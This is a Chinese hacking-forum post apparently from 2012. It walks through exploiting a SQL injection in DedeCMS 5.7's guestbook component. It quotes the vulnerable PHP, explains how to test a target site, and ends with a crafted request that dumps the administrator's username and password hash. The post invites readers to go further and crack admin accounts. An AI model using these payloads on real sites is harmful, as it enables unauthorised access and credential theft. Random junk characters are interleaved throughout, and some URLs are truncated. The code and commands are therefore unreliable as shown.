中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
, K: L# {2 b4 l2 P* J# Q8 U& y  U- ?+ [0 i0 q' l
漏洞文件edit.inc.php具体代码:( X+ w2 w  w: G% T" V

  }7 ?7 v% S3 Y5 O< ?php  
" W7 }/ W2 S9 Y0 E3 l) r5 x( ^; o! C
" b1 v# H5 _# D3 N* n! h( }if(!defined('DEDEINC')) exit('Request Error!');  * V6 _: A& ^) I, S0 N0 N

+ B  k. J- K# Y5 q* ]0 [   4 W0 J2 M3 @/ G% P
' k0 y9 o4 B/ A( r
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
" j' r  @8 h0 ^6 i( K( x1 l( d0 i  o, t$ t( Z
else $GUEST_BOOK_POS = "guestbook.php";  * r1 t  k* V0 ]7 i
, t3 G, a* D& C3 Q8 ~( G
   $ z  f) U/ O  ]7 k* x: I
9 m& d- e% r+ x- X, |' s; i
$id = intval($id);  
6 W, ~0 E# `& O7 U- Y" {& w+ V
" \% E+ |4 H" o1 u' ^* l- Sif(empty($job)) $job='view';  7 q8 n  h* J3 `( ^4 f; o4 e
4 o- M, Z1 c, c* F
   
) c, k+ ~% ~" z0 J1 x9 U5 e1 ^
. K4 ~5 h1 v  m3 [9 S& z! Fif($job=='del' && $g_isadmin)    I9 i2 d0 |% @6 f3 t; @: F/ \' E# c

6 n8 S  M( }7 f1 K' K{  
9 m, X9 {' c: T* f
  _! k6 S$ K1 a7 R$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 J8 z6 H8 {. t! G2 ]' H3 }( ~% ~" I% V2 w- I) a' R2 m
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
3 H5 P( X0 }9 F& R! Z0 s
+ I7 i# @. a& j  l5 h8 w6 M* |exit();  
2 J, `! q& Q! Q( [) I
% ]- W! W, W: J! e; z' ]5 v  U}  % Z/ o. |8 I2 T" [! N) o* g; q

" ~/ O' e8 h" P& Xelse if($job=='check' && $g_isadmin)  
5 T, y& N3 O/ ]6 u, n, J/ d) S4 ?+ A: y  T0 m) a
{  8 d0 b8 }& e9 r

% D$ U" A. ]% ~5 t1 M$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  7 C/ H+ J- Z1 h: [3 H+ A
  X# U. }/ a. T7 G9 y4 I% P$ ~
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
3 y/ E% d2 M2 g8 g
# j% t9 G1 g, `! Texit();  9 k& K- y* x2 }
9 @0 S  h5 u6 V" L9 T3 ^/ Z% Z, p9 v
}  4 n* }4 L& C* w1 `

' @5 a3 n7 B/ G4 g8 y5 Aelse if($job=='editok')  
4 Y2 b! ~( g0 a% Z& U5 o0 e, z0 Z; y$ P0 g. N2 T
{  8 p$ M) T3 X* r! M+ {& u2 ~
3 ?( x' s! a" B5 p* Q+ c  c
$remsg = trim($remsg);  . R$ O; k: i5 D
. g# H8 Q7 y+ i) `  [6 Y4 G( g3 k! W8 e
if($remsg!='')  9 B9 \# B7 Z2 d- l
1 B( @$ B' ^3 b6 D2 ~- x
{  + G$ D2 z2 y+ n! C/ S  @! C( X
0 _7 b: z" [) W1 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
2 f7 a2 T# }& d- Y# i7 |6 B# ]" r: U+ U9 S
if($g_isadmin)  7 A+ W) v% z7 T- r  {
+ C6 a/ N0 S( L
{  7 g( G5 E+ o+ y. z
: [8 p: J* x6 J3 ^
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  ) h7 W! u1 y% s, P1 d  ?

% @# n) @+ ^0 X0 S* m% u//$remsg <br /><font color=red>管理员回复:</font> }  
) g* Q5 `) p" r9 u( R: d* S: W0 S1 D, U/ ~& r8 M6 i
else
5 E! B7 f) R% _8 _/ x
% E+ p% T/ B( z9 E{  
5 d2 P( j+ l/ q+ p; \% b! c- Z1 f& A6 M
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  1 G6 M: C8 ^. a2 C5 f, @3 f' N  [
& t; C4 O- Q' T" N8 t. o, p3 T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
. {4 m/ E, A5 \
. n% q9 _: ]* W  p$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
7 c$ Q% H9 y# b7 v" Z2 v( p& D% O8 ?- k8 Z6 U& a
$msg = $oldmsg.$remsg;  % q9 X' d8 |/ h4 ^# J
, X' S6 r- e) c# r! J
}  ! y' K5 I3 f" Q$ z8 K

2 z, l$ L# n( B# t: o' @/ I6 L! I- E6 y}  . \( V* D7 `' e

. y6 k& ~7 a8 T- f& R//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  & ~# l6 a. v% I# G$ c6 i5 B! k- N

% @! l8 K5 ^, v, c# q$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  8 r/ o4 ~5 R5 }
2 C* {( _% W* l( R
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
1 [* [& j& F6 C0 I/ {* F& l
$ ?; |3 |+ G; {8 S; h: w* M- |exit();  " C7 y1 W" j, T$ c' o9 q

% J; x% P, y3 l( K) S. d}  
( W' j$ t0 Y" D6 u: N5 Y1 j9 o3 f; W; ?- u9 m4 x9 ?, w
//home:www.errs.cc  0 U5 r: t5 n8 X, e$ J
; o( h/ B6 ]" E8 B3 N, \
if($g_isadmin)  
& C& l8 F; D7 \; K) I% o) J: ^8 i/ b! |6 \. j
{  : w5 E# d- I* B; I. s

5 _& f% k3 k6 _3 @$ Z. q, ~9 T0 \7 T. d$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
+ q3 L# ?2 H" s' X% ?% \3 j7 N! N5 G
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
' r% u0 v# x7 @7 i
: }/ R/ D* u3 i# _}  
/ \% E$ A8 m  m5 s
$ H1 ^9 R& Q3 delse 0 ], Y# n: A* z- c8 \1 b0 W
- {; z' \) o8 F$ k' G3 G. e
{  1 x) Q6 E$ Q: m5 q. F- q3 N, q5 m3 R' {
  M! A. G. ~! l1 S
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  " f2 n7 r8 u2 o/ P  Z  {0 ^

" e& P9 @4 J, S4 v' jrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  - G! `- e& ?1 V

+ ]; v1 ~8 W( c* t, h: ]} 漏洞成功需要条件:
) s. b% E* _7 ?( F, E1. php magic_quotes_gpc=off
9 L' `, ~2 c# n, [/ I9 C( T* v2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。* `% K2 m8 }; ?6 x. u
1 c+ A+ k  [! P
怎么判断是否存在漏洞:3 f, N5 y1 |5 G3 M4 h. e- m3 s
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
8 y0 _4 c8 h$ J+ K6 K' m2 E: g然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( `/ Z* P0 @) s" h# f访问:$ O) n5 t2 b8 ^2 X. a6 U

$ z9 ?$ w6 B% w  k" fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
. k- A3 Y6 m( C2 [跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证. F9 H. n7 N: b1 N' {

2 \2 g. `# E/ h; H+ H+ a) H$ \: R) e/ S# Z; o$ ^
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
( a! G7 C, e& j0 u如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 D# E( `! R; e! u( l那么再次访问
3 C* y1 [7 I" b  v8 ]4 A3 E5 e6 J2 d" R1 q* f/ v: e$ X6 K" W: b
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().! p7 }9 m8 @" d( l" h2 e! s  W
& i& Y0 w9 B" g% a& b! y9 G
大概利用就是这样,大家有兴趣的多研究下!!3 v. _4 ]# b* r& [' i& |2 p1 M

' R- s0 w) j6 N6 M* x) F$ u最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& Y, U; ^) H, S# D
  ^" {4 @" U* P/ y' x9 rview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2